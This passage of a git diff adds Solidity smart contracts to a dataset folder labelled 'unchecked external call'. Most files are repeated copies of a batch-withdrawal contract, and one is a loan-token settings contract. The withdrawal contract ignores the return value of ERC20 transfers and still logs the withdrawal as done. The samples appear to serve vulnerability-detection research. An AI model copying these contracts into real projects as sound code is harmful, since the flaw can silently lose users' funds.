== owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/43769.sol b/smart_contract_dataset/unchecked external call/43769.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/43769.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44156.sol b/smart_contract_dataset/unchecked external call/44156.sol new file mode 100644 index 0000000000000000000000000000000000000000..c32215287eba2b71fc3fcb7272b58199924a0dc8 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44156.sol @@ -0,0 +1,122 @@ +/** + * Copyright 2017-2021, bZeroX, LLC. All Rights Reserved. + * Licensed under the Apache License, Version 2.0. + */ + +pragma solidity 0.5.17; +pragma experimental ABIEncoderV2; + +import "./AdvancedTokenStorage.sol"; +import "./interfaces/ProtocolSettingsLike.sol"; + + +contract LoanTokenSettings is AdvancedTokenStorage { + using SafeMath for uint256; + + modifier onlyAdmin() { + require(msg.sender == address(this) || + msg.sender == owner(), "unauthorized"); + _; + } + + bytes32 internal constant iToken_LowerAdminAddress = 0x7ad06df6a0af6bd602d90db766e0d5f253b45187c3717a0f9026ea8b10ff0d4b; // keccak256("iToken_LowerAdminAddress") + bytes32 internal constant iToken_LowerAdminContract = 0x34b31cff1dbd8374124bd4505521fc29cab0f9554a5386ba7d784a4e611c7e31; // keccak256("iToken_LowerAdminContract") + + + function() + external + { + revert("fallback not allowed"); + } + + function setLowerAdminValues( + address _lowerAdmin, + address _lowerAdminContract) + public + onlyAdmin + { + assembly { + sstore(iToken_LowerAdminAddress, _lowerAdmin) + sstore(iToken_LowerAdminContract, _lowerAdminContract) + } + } + + function setDisplayParams( + string memory _name, + string memory _symbol) + public + onlyAdmin + { + name = _name; + symbol = _symbol; + } + + function recoverEther( + address receiver, + uint256 amount) + public + onlyAdmin + { + uint256 balance = address(this).balance; + if (balance < amount) + amount = balance; + + (bool success,) = receiver.call.value(amount)(""); + require(success, + "transfer failed" + ); + } + + function recoverToken( + address tokenAddress, + address receiver, + uint256 amount) + public + onlyAdmin + { + require(tokenAddress != loanTokenAddress, "invalid token"); + + IERC20 token = IERC20(tokenAddress); + + uint256 balance = token.balanceOf(address(this)); + if (balance < amount) + amount = balance; + + require(token.transfer( + receiver, + amount), + "transfer failed" + ); + } + + function transfer( + address _to, + uint256 _value) + public + returns (bool) + { + require(_to != address(0), "invalid transfer"); + + balances[msg.sender] = balances[msg.sender].sub(_value, "insufficient balance"); + balances[_to] = balances[_to].add(_value); + + emit Transfer(msg.sender, _to, _value); + return true; + } + + function initialize( + address _loanTokenAddress, + string memory _name, + string memory _symbol) + public + onlyAdmin + { + loanTokenAddress = _loanTokenAddress; + + name = _name; + symbol = _symbol; + decimals = IERC20(loanTokenAddress).decimals(); + + initialPrice = WEI_PRECISION; // starting price of 1 + } +} diff --git a/smart_contract_dataset/unchecked external call/44340.sol b/smart_contract_dataset/unchecked external call/44340.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44340.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44341.sol b/smart_contract_dataset/unchecked external call/44341.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44341.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44342.sol b/smart_contract_dataset/unchecked external call/44342.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44342.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44343.sol b/smart_contract_dataset/unchecked external call/44343.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44343.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/44344.sol b/smart_contract_dataset/unchecked external call/44344.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/44344.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// 